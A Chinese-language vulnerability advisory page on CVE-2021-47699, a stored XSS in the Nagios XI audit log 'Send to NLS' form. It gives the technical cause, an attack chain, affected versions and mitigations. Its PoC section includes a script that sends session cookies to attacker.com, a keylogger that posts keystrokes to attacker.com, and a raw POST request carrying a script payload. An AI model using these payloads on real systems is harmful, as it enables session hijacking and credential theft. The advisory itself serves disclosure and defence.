IPBUF安全漏洞报告
English
CVE-2021-47699 CVSS 5.4 中危

CVE-2021-47699 Nagios XI审计日志XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47699
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

XSS跨站脚本Nagios XI存储型XSSCVE-2021-47699网络安全监控Web应用安全

漏洞概述

CVE-2021-47699是Nagios XI软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Nagios XI的审计日志(Audit Log)页面中的"发送至NLS"(Send to NLS)表单功能。攻击者可以通过该表单注入恶意JavaScript代码,由于应用程序对用户输入缺乏充分的验证和转义处理,恶意脚本会被存储在系统中。当其他用户访问审计日志页面时,注入的恶意代码会在其浏览器上下文中执行,从而窃取用户的会话Cookie、凭据或其他敏感信息,或执行基于用户权限的操作。该漏洞的CVSS评分为5.4,属于中等严重程度,攻击复杂度低,但需要低权限用户交互才能触发。攻击向量为网络范围,机密性和完整性影响均为低级别。Nagios XI是一款广泛使用的企业级网络和系统监控工具,因此该漏洞可能影响大量部署该产品的组织机构。

技术细节

该漏洞的技术根源在于Nagios XI的审计日志模块对用户输入的处理不当。在Send to NLS表单功能中,应用程序接收用户提供的参数(如日志内容、描述信息等),但未对这些输入进行充分的输入验证和输出编码。当包含恶意JavaScript代码的输入被提交后,数据被存储在服务器端数据库中。随后,当管理员或其他具有查看审计日志权限的用户访问该页面时,存储的恶意脚本会被浏览器作为页面内容的一部分进行解析和执行。攻击者可利用此漏洞绕过同源策略限制,在受害者浏览器中执行任意JavaScript代码,包括读取页面内容、操纵DOM、劫持用户会话或重定向用户到恶意网站。由于攻击发生在认证用户的上下文中,攻击者可能能够获取更高权限的操作能力。

攻击链分析

STEP 1
步骤1
攻击者以低权限用户身份登录Nagios XI系统
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的请求,通过审计日志页面的Send to NLS表单提交
STEP 3
步骤3
应用程序对用户输入缺乏有效过滤和转义,将恶意脚本存储在数据库中
STEP 4
步骤4
管理员或具有查看审计日志权限的用户访问审计日志页面
STEP 5
步骤5
页面加载时,存储的恶意脚本在受害者浏览器中执行,窃取Cookie或执行恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息进一步横向移动或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-47699 PoC: Nagios XI XSS via Audit Log Send to NLS Form --> <!-- This PoC demonstrates the stored XSS vulnerability in Nagios XI --> <!-- Step 1: Inject malicious JavaScript payload through the Send to NLS form --> <!-- The payload can be injected in fields like log description, notes, or related input fields --> <!-- Example XSS Payload --> <script> // Steal session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative payload: DOM-based keylogger document.addEventListener('keypress', function(e) { var key = e.key; fetch('https://attacker.com/log?k=' + key); }); </script> <!-- Step 2: Wait for victim to access Audit Log page --> <!-- When the page renders, the stored script executes in victim's browser context --> <!-- Step 3: Attacker's controlled endpoint receives stolen data --> <!-- Attacker can then use stolen session to perform authenticated actions --> <!-- HTTP Request Example (simulating form submission) --> POST /nagiosxi/includes/components/auditlog/send_nls.php HTTP/1.1 Host: target-server Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=victim_session_id log_id=12345&description=<script>alert(document.cookie)</script>&action=submit

影响范围

Nagios XI < 5.8.7

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制审计日志功能的访问权限,仅允许必要的管理员访问;2)在Web应用防火墙(WAF)层面添加XSS防护规则,对包含<script>标签或JavaScript事件处理器的请求进行拦截;3)启用HttpOnly和Secure标志保护Cookie,防止JavaScript访问会话Cookie;4)实施严格的输入验证规则,过滤或拒绝包含特殊字符的输入;5)监控和审查审计日志页面的访问日志,及时发现异常访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表